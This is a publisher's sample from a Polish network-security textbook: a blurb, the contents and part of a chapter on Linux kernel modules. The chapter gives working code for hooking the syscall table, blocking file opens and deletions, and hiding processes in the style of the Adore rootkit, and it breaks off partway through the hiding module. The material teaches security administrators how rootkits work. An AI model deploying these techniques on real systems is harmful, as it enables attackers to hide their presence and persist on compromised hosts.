helion.pl
KSIĘGARNIA INTERNETOWA · WYDAWNICTWO

IDŹ DO
PRZYKŁADOWY ROZDZIAŁ
SPIS TREŚCI

KATALOG KSIĄŻEK
KATALOG ONLINE
ZAMÓW DRUKOWANY KATALOG

TWÓJ KOSZYK
DODAJ DO KOSZYKA

CENNIK I INFORMACJE
ZAMÓW INFORMACJE O NOWOŚCIACH
ZAMÓW CENNIK

CZYTELNIA
FRAGMENTY KSIĄŻEK ONLINE

Bezpieczeństwo sieci. Narzędzia



Autorzy: Nitesh Dhanjani, Justin Clarke
Tłumaczenie: Sławomir Dzieniszewski (przedmowa, rozdz. 1–6), Adam Jarczyk (rozdz. 7–11)
ISBN: 83-246-0068-X
Tytuł oryginału: Network Security Tools
Format: B5, stron: 320

Tworzenie i stosowanie narzędzi do testowania zabezpieczeń

- Stwórz programy do analizowania ruchu sieciowego
- Dostosuj gotowe narzędzia do swoich potrzeb
- Zbadaj bezpieczeństwo własnych aplikacji WWW

Coraz częściej słyszymy o włamaniach do sieci i kradzieżach danych. Informacje o lukach w oprogramowaniu sieciowym pojawiają szybciej niż jego aktualizacje. Na administratorach sieci spoczywa trudne zadanie zabezpieczania zgromadzonych w nich danych przed atakami. W walce z hakerami administratorzy stosują narzędzia, dzięki którym są w stanie wykryć atak, usunąć słabe punkty sieci i systemu oraz ochronić dane. Czasem jednak standardowe narzędzia okazują się niewystarczające. W takich sytuacjach należy sięgnąć po inne rozwiązania.

Książka „Bezpieczeństwo sieci. Narzędzia" to podręcznik dla administratorów oraz osób zajmujących się bezpieczeństwem sieci. Przedstawia najczęściej stosowane modyfikacje i rozszerzenia narzędzi Nessus, Ettercap i Nikto oraz opisuje zasady tworzenia zaawansowanych analizatorów ataków ściśle dostosowanych do wymogów określonego środowiska sieciowego. Zawiera również informacje dotyczące korzystania z narzędzi do skanowania portów, iniekcji pakietów, podsłuchiwania ruchu w sieci i oceny działania serwisów WWW.

- Tworzenie dodatków dla programu Nessus
- Budowanie narzędzi dla szperacza Ettercap
- Rozszerzanie możliwości programów Hydra i Nikto
- Stosowanie narzędzi do analizy kodów źródłowych
- Zabezpieczanie jądra Linuksa
- Kontrolowanie bezpieczeństwa serwisów WWW i baz danych
- Pisanie własnych szperaczy sieciowych oraz narzędzi do iniekcji pakietów

Książka „Bezpieczeństwo sieci. Narzędzia" jest nieodzownym źródłem wiedzy dla każdego administratora, który chce dobrze zabezpieczyć swoją sieć.

Wydawnictwo Helion
ul. Chopina 6
44-100 Gliwice
tel. (32)230-98-63
e-mail: helion@helion.pl

Spis treści

Przedmowa **7**

Część I Modyfikowanie i eksplorowanie narzędzi bezpieczeństwa 13

1. Pisanie dodatków dla programu Nessus **15**
Architektura Nessusa 15
Instalowanie Nessusa 16
Korzystanie z programu Nessus 17
Interpreter języka NASL 21
Przykład „Hello World” 22
Typy danych i zmienne 22
Operatory 25
Instrukcja if…else 26
Pętle 27
Funkcje 28
Predefiniowane zmienne globalne 29
Najważniejsze funkcje języka NASL 31
Dodatki Nessusa 37

2. Programowanie narzędzi sekcjonujących i dodatków dla szperacza sieciowego Ettercap **53**
Instalacja i korzystanie z programu Ettercap 53
Pisanie narzędzia sekcjonujacego dla Ettercapa 54
Pisanie dodatków dla programu Ettercap 61

3. Poszerzanie możliwości programów Hydra i Nmap **67**
Rozszerzanie możliwości programu Hydra 67
Dodawanie nowych sygnatur do programu Nmap 81

4. Pisanie dodatków dla skanera luk Nikto **85**
Instalowanie programu Nikto 85
Jak korzystać z programu Nikto? 86
Jak działa program Nikto? 88
Istniejące dodatki programu Nikto 89
Dodawanie własnych pozycji do baz dodatków 91

Korzystanie z biblioteki LibWhisker 94
Piszemy dodatek NTLM łamiący hasła metodą brutalnej siły 96
Pisanie samodzielnego dodatku atakującego serwer Lotus Domino 99

5. Pisanie modułów dla oprogramowania Metasploit Framework 103
Wprowadzenie do MSF 103
Zasada ataków polegających na przepełnieniu bufora stosu 104
Pisanie ataków testowych pod MSF 113
Moduł ataku przepełnienia bufora przeciw wyszukiwarce MnoGoSearch 117
Pisanie pod MSF modułu badającego sygnaturę systemu operacyjnego 125

6. Rozszerzanie analizy kodu na aplikacje WWW 131
Atakowanie aplikacji WWW z wykorzystaniem błędów w kodzie źródłowym 131
Toolkit 101 136
PMD 139
Rozszerzanie możliwości narzędzia PMD 141

Część II Pisanie narzędzi do kontroli bezpieczeństwa sieci 165

7. Zabawa z modułami jądra Linuksa 167
Witaj, świecie! 167
Przechwytywanie funkcji systemowych 169
Ukrywanie procesów 177
Ukrywanie połączeń przed narzędziem netstat 181

8. Tworzenie narzędzi i skryptów do badania serwisów WWW 185
Środowisko aplikacji WWW 185
Projekt skanera 189
Analizator składni pliku dziennika 194
Piszemy skaner 196
Praca ze skanerem 210
Pełny kod źródłowy 210

9. Automatyczne narzędzia eksploitów 217
Eksploity wstrzykiwania kodu SQL 217
Skaner eksploitów 219
Praca ze skanerem 243

10. Pisanie szperaczy sieciowych 245
Biblioteka libpcap — wprowadzenie 245
Zaczynamy pracę z libpcap 247
libpcap i sieci bezprzewodowe 802.11 260

libpcap i Perl 268
Leksykon funkcji biblioteki libpcap 269

11. Narzędzia do wstrzykiwania pakietów 279
Biblioteka libnet 279
Początek pracy z biblioteką libnet 280
Zaawansowane funkcje biblioteki libnet 287
Jednoczesne wykorzystanie libnet i libpcap 289
AirJack — wprowadzenie 296

Skorowidz 303

ROZDZIAŁ 7.

Zabawa z modułami jądra Linuksa

Jądro jest sercem systemu operacyjnego. Odpowiada za takie podstawowe funkcje jak zarządzanie pamięcią, przydział czasu procesów, obsługę protokołów TCP/IP i tak dalej. Ładowalne moduły jądra Linuksa (ang. *Loadable Kernel Module*, LKM) pozwalają rozszerzać funkcjonalność systemu w trakcie pracy. Ponieważ łatwo jest ładować i usuwać moduły za pomocą narzędzi wiersza poleceń, złośliwi użytkownicy często używają opierających się na LKM narzędzi typu *rootkit* i *backdoor*, aby zachować dostęp do uprzednio zinfiltrowanego hosta. W niniejszym rozdziale pokażemy, jak pisać własne ładowalne moduły jądra oraz jak autorzy złośliwych pakietów rootkit i backdoorów wykorzystują ogromne możliwości ładowalnych modułów jądra do różnych sztuczek, na przykład do ukrywania procesów i plików oraz przechwytywania funkcji systemowych. Zakładamy tu, że Czytelnik zna język programowania C.



Nie należy uruchamiać przedstawionych przykładów na komputerach niezbędnych do pracy i serwerach produkcyjnych. Prosty błąd w LKM może spowodować błąd jądra (ang. *kernel panic*) i jego załamanie. Do uruchamiania programów przedstawionych w niniejszym rozdziale należy w miarę możliwości korzystać z oprogramowania maszyn wirtualnych, na przykład VMware (*http://www.vmware.com/*).

Witaj, świecie!

Aby przedstawić podstawy pisania ładowalnych modułów jądra, spróbujemy najpierw napisać prosty moduł, który podczas ładowania będzie wyświetlać na konsoli komunikat `Witaj, świecie!`, a podczas usuwania komunikat `Do zobaczenia.`. Na początek należy dołączyć wymagane pliki nagłówkowe:

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
```

Jądro 2.6 Linuksa zgłasza ostrzeżenie przy ładowaniu modułów, których kod źródłowy nie jest objęty licencją GPL. Jądro Linuksa jest objęte tą licencją, a jego opiekunowie kładą duży nacisk na to, by wszelki kod ładowany do jądra również jej podlegał. Aby wyłączyć wyświetlanie ostrzeżenia, należy zaklasyfikować kod modułu jako objęty GPL, dodając następującą dyrektywę:

```
MODULE_LICENSE ("GPL");
```

Teraz zdefiniujemy funkcję `hello()`, która po prostu wyświetli na konsoli tekst `Witaj, świecie!` z pomocą funkcji `printk()`:

```
static int __init hello (void)
{
        printk (KERN_ALERT "Witaj, świecie!\n");
        return 0;
}
```

Następnie zdefiniujemy funkcję `goodbye()`, która wyświetli na konsoli tekst `Do zobaczenia.`:

```
static void goodbye (void)
{
        printk (KERN_ALERT "Do zobaczenia.\n");
}
```

Dalej ustawimy `hello()` i `goodbye()` odpowiednio w rolach funkcji inicjalizacji i wyjścia. Inaczej mówiąc, funkcja `hello()` będzie wywoływana przy ładowaniu modułu, a `goodbye()` przy jego usuwaniu:

```
module_init(hello);
module_exit(goodbye);
```

hello_world.c

Kod źródłowy naszego ładowalnego modułu jądra `hello_world` wygląda tak:

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

MODULE_LICENSE ("GPL");

static int __init hello (void)
{
        printk (KERN_ALERT "Witaj, świecie!\n");
        return 0;
}

static void goodbye (void)
{
        printk (KERN_ALERT "Do zobaczenia.\n");
}

module_init(hello);
module_exit(goodbye);
```

Kompilacja i test hello_world

Aby skompilować powyższy kod źródłowy, należy utworzyć prosty plik makefile zawierający wpis:

```
obj-m += hello_world.o
```

Do kompilacji modułu posłuży polecenie `make`:

```
[nieroot]$ make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules
make: Entering directory `/usr/src/linux-2.6.8
  CC [M]  /tmp/lkms/hello_world.o
  Building modules, stage 2.
  MODPOST
```

```
  CC      /tmp/lkms/hello_world.mod.o
  LD [M]  /tmp/lkms/hello_world.ko
make: Leaving directory `/usr/src/linux-2.6.8
```

Moduł należy załadować z pomocą polecenia `insmod`:

```
[root]# insmod ./hello_world.ko
Witaj, świecie!
```

Do wyświetlenia listy załadowanych modułów jądra służy narzędzie `lsmod`:

```
[root]# lsmod
Module                  Size  Used by
helloworld              2432  0
```

Do usunięcia modułu posłuży polecenie `rmmod`:

```
[root]# rmmod hello_world
Do zobaczenia.
```

Przechwytywanie funkcji systemowych

Procesy mogą być uruchamiane w jednym z dwóch trybów: użytkownika i jądra. Większość procesów uruchamia się w trybie użytkownika, w którym mają one dostęp jedynie do ograniczonych zasobów. Gdy proces wymaga skorzystania z usługi, którą oferuje jądro, wówczas wywołuje **funkcję systemową** (inaczej wywołanie systemowe; ang. *system call*). Funkcje systemowe pełnią rolę bramy dającej dostęp do jądra. Są przerwaniami programowymi, które system operacyjny przetwarza w trybie jądra. W poniższych punktach pokażemy, jak ładowalne moduły jądra mogą wykonywać różne sztuczki z przechwytywaniem funkcji systemowych.

Tablica funkcji systemowych

Jądro Linuksa utrzymuje **tablicę funkcji systemowych**, która składa się po prostu ze wskaźników funkcji implementujących wywołania systemowe. Listę funkcji systemowych implementowanych przez dane jądro można zobaczyć w pliku */usr/include/bits/syscall.h*. Jądro przechowuje tablicę funkcji systemowych w strukturze o nazwie `sys_call_table`, którą można znaleźć w pliku *arch/i386/kernel/entry.S*.



Jądro 2.5 i nowsze systemu Linux nie eksportują już struktury `sys_call_table`. W wersjach jądra wcześniejszych niż 2.5 ładowalny moduł jądra mógł uzyskać bezpośredni dostęp do struktury `sys_call_table`, deklarując ją jako zmienną `extern`:

```
extern void *sys_call_table[];
```

Dodatkowe informacje zawiera punkt „Przechwytywanie sys_exit() w jądrze 2.4" w dalszej części rozdziału.

strace Twoim przyjacielem

Często trzeba podczepić się do programu, aby się zorientować, które funkcje systemowe wywołuje. Do tego celu może posłużyć narzędzie `strace`. Popatrzmy np. na poniższy program w języku C, który po prostu wyświetla plik */etc/passwd*:

```
#include <stdio.h>

int main(void)
{
    FILE *myfile;
    char tempstring[1024];

    if(!(myfile=fopen("/etc/passwd","r")))
    {
         fprintf(stderr,"Nie można otworzyć pliku");
         exit(1);
    }

    while(!feof(myfile))
    {
         fscanf(myfile,"%s",tempstring);
         fprintf(stdout,"%s",tempstring);
    }

    exit(0);
}
```

Po skompilowaniu kodu za pomocą kompilatora `gcc` tak, aby otrzymać program wykonywalny o nazwie *a.out*, należy wykonać poniższe polecenie:

```
[nieroot]$ strace -o strace.out ./a.out > /dev/null
```

Wyjście polecenia `strace` zostało zapisane w pliku *strace.out*. Możemy teraz przyjrzeć się temu plikowi, aby poznać wszystkie wywołania funkcji dokonane przez *a.out*. Na przykład, wykonanie poniższego polecenia `grep` pozwoli się zorientować, że funkcja `fopen()` w programie *a.out* wywołuje funkcję systemową `open()`, aby otworzyć plik */etc/passwd*:

```
[nieroot]$ grep "/etc/passwd" strace.out
open("/etc/passwd", O_RDONLY) = 3
```

Wymuszenie dostępu do sys_call_table

Ponieważ tablica `sys_call_table` nie jest już eksportowana w jądrze 2.6, dostęp do niej można uzyskać tylko siłą (ang. brute force). Ładowalne moduły jądra mają dostęp do pamięci jądra, więc można zdobyć dostęp do `sys_call_table` przez porównanie znanych lokalizacji z wyeksportowanymi funkcjami systemowymi. Wprawdzie sama tablica `sys_call_table` nie jest już eksportowana, lecz kilka funkcji systemowych, jak np. `sys_read()` i `sys_write()`,nadal podlega eksportowi i dostępnych jest dla ładowalnych modułów jądra. Aby zademonstrować, jak można zdobyć dostęp do tablicy `sys_call_table` w jądrze 2.6, napiszemy prosty LKM, który przechwytuje funkcję `sys_open()` i uniemożliwia komukolwiek otwarcie pliku */tmp/test*.



Wprawdzie przechwytujemy tu `sys_open()`, aby uniemożliwić komukolwiek otwarcie pliku, lecz takie rozwiązanie nie jest do końca skuteczne. Użytkownik root nadal dysponuje bezpośrednim dostępem do urządzenia dysku, na którym zdeterminowany użytkownik może operować bezpośrednio.

Omówimy tu najważniejsze elementy; pełny kod źródłowy *intercept_open.c* jest przedstawiony w następnym podpunkcie. Proszę zwrócić uwagę, że podczas inicjalizacji zostaje wywołana funkcja `my_init()`. Funkcja ta próbuje uzyskać dostęp do tablicy `sys_call_table`, zaczynając od adresu `system_utsname`. Struktura `system_utsname` zawiera listę informacji o systemie i wiadomo, że znajduje się przed tablicą funkcji systemowych. Wobec tego funkcja zaczyna

przetwarzanie od lokalizacji `system_utsname` i przeprowadza 1024 iteracje (`MAX_TRY`). Za każdym razem przechodzi jeden bajt dalej i porównuje aktualną lokalizację z lokalizacją `sys_read()`, której adres, jak zakładamy, jest dostępny dla LKM. Po znalezieniu dopasowania funkcja wychodzi z pętli i mamy dostęp do tablicy `sys_call_table`:

```
while(i)
      {
            if(sys_table[__NR_read] == (unsigned long)sys_read)
            {
                  sys_call_table=sys_table;
                  flag=1;
                  break;
            }
            i--;
            sys_table++;
      }
```

Nasz ładowalny moduł jądra wywołuje `xchg()` w celu takiego zmodyfikowania tablicy funkcji systemowych, by `sys_call_table[__NR_open]` wskazywała na `our_fake_open_function()`:

```
original_sys_open =(void * )xchg(&sys_call_table[__NR_open],
our_fake_open_function);
```

Dzięki temu zamiast oryginalnej funkcji `sys_open()` będzie wywoływana funkcja `our_fake_` ➥`open_function()`. Funkcja `xchg()` zwraca też wartość zmiennej `original_sys_open`, która zawiera wskaźnik na oryginalną funkcję `sys_open()`. Posłużymy się nim do przywrócenia w tablicy funkcji systemowych oryginalnej wartości `sys_open()` podczas usuwania LKM z jądra:

```
xchg(&sys_call_table[__NR_open], original_sys_open);
```

Funkcja `our_fake_open_function()` sprawdza, czy parametr `*filename` wskazuje plik, którego otwarcie chcemy uniemożliwić (w naszym przykładzie */tmp/test*). Nie wystarcza jednak porównać */tmp/test* z wartością `filename`, ponieważ jeśli np. katalogiem bieżącym procesu będzie */tmp*, to funkcja `sys_open()` może zostać wywołana z parametrem `test`. Najpewniejszą metodą sprawdzenia, czy `filename` rzeczywiście odwołuje się do */tmp/test*, jest porównanie i-węzła pliku */tmp/test* z i-węzłem pliku odpowiadającego zmiennej `filename`. Nazwą **i-węzeł** (ang. *inode*) określa się strukturę danych zawierającą informacje o plikach w systemie. Ponieważ każdy plik ma unikatowy i-węzeł, możemy mieć pewność, że uzyskamy prawidłowy wynik. Aby otrzymać wartość i-węzła, `our_fake_open_function()` wywołuje funkcję `user_path_walk()` i przekazuje do niej wartość `filename` i strukturę typu `nameidata`, zgodnie z wymogami funkcji. Jednakże przed wywołaniem funkcji `user_path_walk()` z parametrem `/tmp/test` moduł wywołuje następujące funkcje:

```
fs=get_fs();
set_fs(get_ds());
```

Funkcja `user_path_walk()` oczekuje, że zmienna `filename` wskazywać będzie na obszar pamięci w przestrzeni adresowej użytkownika. Ponieważ jednak piszemy moduł jądra, nasz kod znajdzie się w przestrzeni jądra i funkcja `user_path_walk()` nie zadziała poprawnie, ponieważ oczekuje uruchomienia w trybie użytkownika. Wobec tego, zanim wywołamy `user_path_walk()`, musimy wywołać funkcję `get_fs()`, która odczytuje położenie najwyższego segmentu pamięci jądra, a następnie wywołuje funkcję `set_fs()` mającą `get_ds()` w roli parametru. Zmienia to limit wirtualnej pamięci jądra dla pamięci przestrzeni użytkownika tak, że funkcja `user_path_walk()` będzie mogła zadziałać. Po zakończeniu wywołania `user_path_walk()` przez moduł przywrócony zostaje uprzedni limit:

```
set_fs(fs);
```

Jeśli i-węzły plików są równe, to wiemy, że użytkownik próbuje otworzyć plik */tmp/test*, a moduł zwraca `-EACCES`:

```
if(inode==inode_t)
    return -EACCES;
```

W przeciwnym razie moduł wywołuje oryginalną funkcję `sys_open()`:

```
return original_sys_open(filename,flags,mode);
```

intercept_open.c

Oto pełny kod źródłowy naszego ładowalnego modułu jądra `intercept_open`:

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/unistd.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#include <linux/namei.h>

int flag=0;

#define MAX_TRY 1024

MODULE_LICENSE ("GPL");

unsigned long *sys_call_table;

asmlinkage long (*original_sys_open) (const char __user *filename, int
flags, int mode);

asmlinkage int our_fake_open_function(const char __user *filename, int
flags, int mode)
{
    int error;
    struct nameidata nd,nd_t;
    struct inode *inode,*inode_t;
    mm_segment_t fs;

    error=user_path_walk(filename,&nd);

    if(!error)
    {
        inode=nd.dentry->d_inode;

        /*To trzeba zrobić przed wywołaniem user_path_walk()
    z przestrzeni jądra:*/
        fs=get_fs();
        set_fs(get_ds());

        /*Chroni plik /tmp/test. Można zmienić na inny*/
        error=user_path_walk("/tmp/test",&nd_t);

        set_fs(fs);

        if(!error)
        {
            inode_t=nd_t.dentry->d_inode;
```

```
            if(inode==inode_t)
                return -EACCES;
        }
    }

    return original_sys_open(filename,flags,mode);
}

static int __init my_init (void)
{
        int i=MAX_TRY;
        unsigned long *sys_table;
        sys_table = (unsigned long *)&system_utsname;

        while(i)
        {
                if(sys_table[__NR_read] == (unsigned long)sys_read)
                {
                        sys_call_table=sys_table;
                        flag=1;
                        break;
                }
                i--;
                sys_table++;

        }

        if(flag)
        {
             original_sys_open =(void *)xchg(&sys_call_table[__NR_open],
             our_fake_open_function);
        }
        return 0;
}

static void my_exit (void)
{
        xchg(&sys_call_table[__NR_open], original_sys_open);

}

module_init(my_init);
module_exit(my_exit);
```

Kompilacja i test intercept_open

Do skompilowania programu *intercept_open.c* posłuży plik makefile zawierający wpis:

```
obj-m += intercept_open.o
```

Skompilujemy program z użyciem poniższego polecenia `make`:

```
[nieroot]$ make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules
```

Utworzymy */tmp/test*:

```
[nieroot]$ echo test > /tmp/test
```

Załadujemy *insert_open.ko*:

```
[root]# insmod ./intercept_open.ko
```

Spróbujemy otworzyć */tmp/test*:

```
[root]# cat /tmp/test
cat: /tmp/test: Permission denied
```

Usuniemy moduł:

```
[root]# rmmod intercept_open
```

Ponownie spróbujemy otworzyć */tmp/test*:

```
[root]# cat /tmp/test
test
```

Przechwytywanie sys_unlink() za pomocą System.map

W poprzednim punkcie pokazaliśmy, jak zdobyć adres `sys_call_table`, przeszukując pamięć jądra. Jeśli jednak jest dostępny plik *System.map* jądra, możemy się nim posłużyć, aby otrzymać lokalizację tablicy `sys_call_table` i zakodować ją na sztywno w LKM. Dobrym przykładem może być ładowalny moduł jądra, który uniemożliwia usuwanie plików przez przechwycenie `sys_unlink()`. Najpierw należy znaleźć lokalizację `sys_call_table` za pomocą pliku *System.map*:

```
[nieroot]$ grep sys_call_table /boot/System.map
c044fd00 D sys_call_table
```

W kodzie źródłowym modułu adres, który posłuży do pobrania `sys_call_table`, zakodujemy na sztywno:

```
*(long *)&sys_call_table=0xc044fd00;
```

Moduł tak modyfikuje tablicę funkcji systemowych, że `__NR_unlink` będzie wskazywać na `hacked_sys_unlink` i zachowa oryginalne położenie `sys_unlink()`:

```
original_sys_unlink =(void * )xchg(&sys_call_table[__NR_unlink],
hacked_sys_unlink);
```

Funkcja `hacked_sys_unlink()` przy każdym wywołaniu zwraca `-1` i nigdy nie wywołuje oryginalnej funkcji `sys_unlink()`:

```
asmlinkage long hacked_sys_unlink(const char *pathname)
{
        return -1;
}
```

Dzięki temu żaden proces nie jest w stanie usunąć jakiegokolwiek pliku w systemie.

intercept_unlink.c

Oto pełny kod źródłowy naszego ładowalnego modułu jądra `intercept_unlink`:

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/unistd.h>

MODULE_LICENSE ("GPL");

unsigned long *sys_call_table;

asmlinkage long (*original_sys_unlink) (const char *pathname);

/*zwraca -1. To uniemożliwi wszystkim procesom usunięcie dowolnego pliku*/
asmlinkage long hacked_sys_unlink(const char *pathname)
{
      return -1;
}
```

```
static int __init my_init (void)
{
        /*pobieramy sys_call_table z zakodowanej na sztywno wartości,
         którą znaleźliśmy w System.map*/

        *(long *)&sys_call_table=0xc044fd00;

        /*zapamiętujemy oryginalne położenie sys_unlink. Zmieniamy sys_call_table
         tak, że wskazuje _ _NR_unlink na naszą hacked_sys_unlink*/
       original_sys_unlink =(void * )xchg(&sys_call_table[__NR_unlink],
hacked_sys_unlink);
       return 0;
}

static void my_exit (void)
{
        /*przywracamy oryginalną sys_unlink w sys_call_table*/
       xchg(&sys_call_table[__NR_unlink], original_sys_unlink);
}

module_init(my_init);
module_exit(my_exit);
```

Kompilacja i test modułu intercept_unlink

Do przetestowania modułu użyjemy pliku makefile zawierającego wpis:

```
obj-m += intercept_unlink.o
```

Moduł skompilujemy z pomocą następującego polecenia:

```
[nieroot]$ make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules
```

Utworzymy plik testowy:

```
[nieroot]$ touch /tmp/testfile
```

Załadujemy moduł:

```
[root]# insmod ./intercept_unlink.ko
```

Spróbujemy usunąć plik:

```
[root]# rm -rf /tmp/testfile
rm: cannot remove `/tmp/testfile': Operation not permitted
```

Usuniemy moduł:

```
[root]# rmmod intercept_unlink
```

Teraz usunięcie pliku powinno być możliwe:

```
[root]# rm -rf /tmp/testfile
```

Przechwytywanie sys_exit() w jądrze 2.4

Jądra w wersji 2.4 eksportują symbol `sys_call_table`. Wielu użytkowników nadal korzysta z systemów z jądrem 2.4, więc pokażemy tu pokrótce, jak napisać dla tej wersji jądra LKM przechwytujący `sys_exit()`. Przykład jest bardzo prosty, więc po zrozumieniu zasady działania programu *intercept_exit.c* Czytelnik będzie mógł przenieść inne przykłady z niniejszego rozdziału na jądro 2.4.



Jądra 2.4 dystrybuowane przez Red Hat zawierają część funkcji przeniesionych z jądra 2.6 i nie eksportują `sys_call_table`. W tym przypadku należy posłużyć się technikami przedstawionymi w poprzednich punktach i przechwycić `sys_call_table` metodą siłową lub z użyciem pliku *System.map*.

Moduł `intercept_exit` przechwytuje funkcję `sys_exit()` i wyświetla na konsoli wartość `error_code` przekazaną do `sys_exit()`. Funkcja `init_module()` zostaje wywołana przy załadowaniu LKM. Funkcja ta zapisuje wskaźnik na oryginalną funkcję `sys_exit()` i zmienia wpis w `sys_call_table[__NR_exit]` na `our_fake_exit_function`:

```
original_sys_exit = sys_call_table[__NR_exit];
sys_call_table[__NR_exit]=our_fake_exit_function;
```

Funkcja `our_fake_exit_function()` wyświetla wartość `error_code`, a następnie wywołuje oryginalną funkcję `sys_exit()`:

```
asmlinkage int our_fake_exit_function(int error_code)
{
    printk("UWAGA! sys_exit wywołana z error_code=%d\n",error_code);
    return original_sys_exit(error_code);
}
```

W chwili usunięcia ładowalny moduł jądra przywraca w `sys_call_table[__NR_exit]` wskazanie na `original_sys_exit`:

```
sys_call_table[__NR_exit]=original_sys_exit;
```

intercept_exit.c

Oto pełny kod źródłowy naszego ładowalnego modułu jądra `intercept_exit`:

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>

MODULE_LICENSE("GPL");

extern void *sys_call_table[];

asmlinkage int (*original_sys_exit)(int);

asmlinkage int our_fake_exit_function(int error_code)
{
    /*przy każdym wywołaniu wyświetla komunikat na konsoli*/
    printk("UWAGA! sys_exit wywołana z error_code=%d\n",error_code);

    /*wywołuje orginalną sys_exit i zwraca jej wartość*/
    return original_sys_exit(error_code);
}

int init_module(void)
{
    /*zapisujemy odwołanie do oryginalnej funkcji sys_exit*/
    original_sys_exit = sys_call_table[__NR_exit];

    /*zmieniamy sys_call_table, by zamiast niej wywoływała naszą podrobioną
     funkcję wyjścia*/
    sys_call_table[__NR_exit]=our_fake_exit_function;

    return 0;
}
```

```
void cleanup_module(void)
{
    /*przywracamy oryginalną sys_exit*/
    sys_call_table[__NR_exit]=original_sys_exit;
}
```

Kompilacja i test intercept_exit

Skompilujemy *intercept_exit.c*:

```
[nieroot]$ gcc -D__KERNEL__ -DMODULE -I/usr/src/linux/include -c intercept_exit.c
```

Załadujemy do jądra:

```
[root]# insmod ./intercept_exit.o
```

Spróbujemy poleceniem `ls` wyświetlić nieistniejący plik. Spowoduje to zakończenie przez `ls` działania z wartością niezerową, którą wyświetli nasz LKM:

```
[nieroot]$ ls /tmp/nonexistent
ls: /tmp/nonexistent: No such file or directory
UWAGA! sys_exit wywołana z error_code=1
```

Pozostaje usunąć moduł po zakończeniu próby:

```
[root]# rmmod intercept_exit
```

Ukrywanie procesów

Popularnym pakietem rootkit opartym na LKM jest Adore. Pozwala on użytkownikowi, między innymi, ukrywać procesy przez modyfikację funkcji obsługi wywołania `readdir` dla systemu plików */proc*.



Rootkit Adore można pobrać spod adresu *http://packetstormsecurity.nl/groups/teso/*.

System plików */proc* zawiera mnóstwo informacji o systemie, między innymi wiadomości o procesach. Załóżmy na przykład, że w systemie jest uruchomiony demon `sshd`. Za pomocą narzędzia `ps` można uzyskać identyfikator procesu (PID) demona:

```
[nieroot]$ ps x | grep sshd
1431 ?       S    0:00 /usr/sbin/sshd
4721 tty1    S    0:00 grep sshd
```

W naszym przykładzie proces `sshd` ma PID 1431. Zajrzyjmy do katalogu */proc/1431*, aby uzyskać dodatkowe informacje o procesie:

```
[nieroot]$ ls -l /proc/1431/
total 0
-r--------    1 root     root            0 Sep  4 09:14 auxv
-r--r--r--    1 root     root            0 Sep  4 09:12 cmdline
lrwxrwxrwx    1 root     root            0 Sep  4 09:14 cwd -> /
-r--------    1 root     root            0 Sep  4 09:12 environ
lrwxrwxrwx    1 root     root            0 Sep  4 09:14 exe -> /usr/sbin/sshd
dr-x------    2 root     root            0 Sep  4 09:14 fd
-r--r--r--    1 root     root            0 Sep  4 09:14 maps
-rw-------    1 root     root            0 Sep  4 09:14 mem
-r--r--r--    1 root     root            0 Sep  4 09:14 mounts
```

```
lrwxrwxrwx    1 root     root            0 Sep  4 09:14 root -> /
-r--r--r--    1 root     root            0 Sep  4 09:12 stat
-r--r--r--    1 root     root            0 Sep  4 09:14 statm
-r--r--r--    1 root     root            0 Sep  4 09:12 status
dr-xr-xr-x    3 root     root            0 Sep  4 09:14 task
-r--r--r--    1 root     root            0 Sep  4 09:14 wchan
```

Jak widać, w systemie plików */proc* znajdują się również dane procesów. Narzędzie `ps` wykorzystuje */proc* do pozyskania listy procesów uruchomionych w systemie.

W niniejszym podrozdziale wykorzystamy techniki stosowane przez Adore do ukrycia wybranego procesu. Użyjemy w tym celu ładowalnego modułu jądra, który nazwiemy `hidepid`. Na początek uruchomimy proces, który będziemy chcieli ukryć:

```
[nieroot]$ sleep 999999 &
[1] 4781
```

Ze sposobu działania polecenia `sleep` wiadomo, że proces o identyfikatorze 4781 będzie dostępny przez 999 999 sekund. Spróbujemy go ukryć.

Funkcja `hide_pid()` w programie *hidepid.c* wymaga wskaźnika na oryginalną procedurę obsługi operacji `readdir` systemu plików */proc* oraz nowej procedury obsługi `readdir`. Najpierw funkcja usiłuje pobrać deskryptor pliku, próbując otworzyć */proc*:

```
if((filep = filp_open("/proc",O_RDONLY,0))==NULL)
            return -1;
```

Wskaźnik na program obsługi operacji `readdir` katalogu */proc* zostaje zapamiętany, aby można było go przywrócić przy usuwaniu LKM z jądra:

```
if(orig_readdir)
            *orig_readdir = filep->f_op->readdir;
```

Następnie procedura obsługi operacji `readdir` katalogu */proc* zostaje ustawiona na `new_readdir`:

```
filep->f_op->readdir=new_readdir;
```

Podczas inicjalizacji funkcja `hide_pid()` jest wywoływana z następującymi parametrami:

```
hide_pid(&orig_proc_readdir,my_proc_readdir);
```

Ponieważ drugim parametrem przekazywanym do `hide_pid()` jest `my_proc_readdir`, odpowiadający `new_readdir`, LKM ustawia `my_proc_readdir` jako procedurę obsługi operacji `readdir` dla */proc*. Funkcja `my_proc_readdir()` wywołuje funkcję `original_proc_readdir()`, lecz z `my_proc_filldir` w roli procedury obsługi. Funkcja `my_proc_filldir()` po prostu sprawdza, czy nazwa PID odczytywanego z */proc* jest taka sama jak nazwa PID, który chcemy ukryć. Jeśli tak, funkcja po prostu kończy działanie; w przeciwnym razie wywołuje oryginalną `filldir()`:

```
if(adore_atoi(name)==HIDEPID)
                return 0;

return proc_filldir(buf, name, nlen, off, ino, x);
```

W chwili usunięcia LKM zostaje wywołana funkcja `restore()`, aby przywrócić oryginalną procedurę obsługi operacji `readdir` katalogu */proc*:

```
if ((filep = filp_open("/proc", O_RDONLY, 0)) == NULL)
                return -1;

filep->f_op->readdir = orig_readdir;
```

hidepid.c

Oto pełny kod źródłowy naszego ładowalnego modułu jądra `hidepid`:

```
/*Podziękowania dla adore-ng ze Stealth za pomysły użyte w tym kodzie*/

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <net/sock.h>

#define HIDEPID 4781

typedef int (*readdir_t)(struct file *, void *, filldir_t);
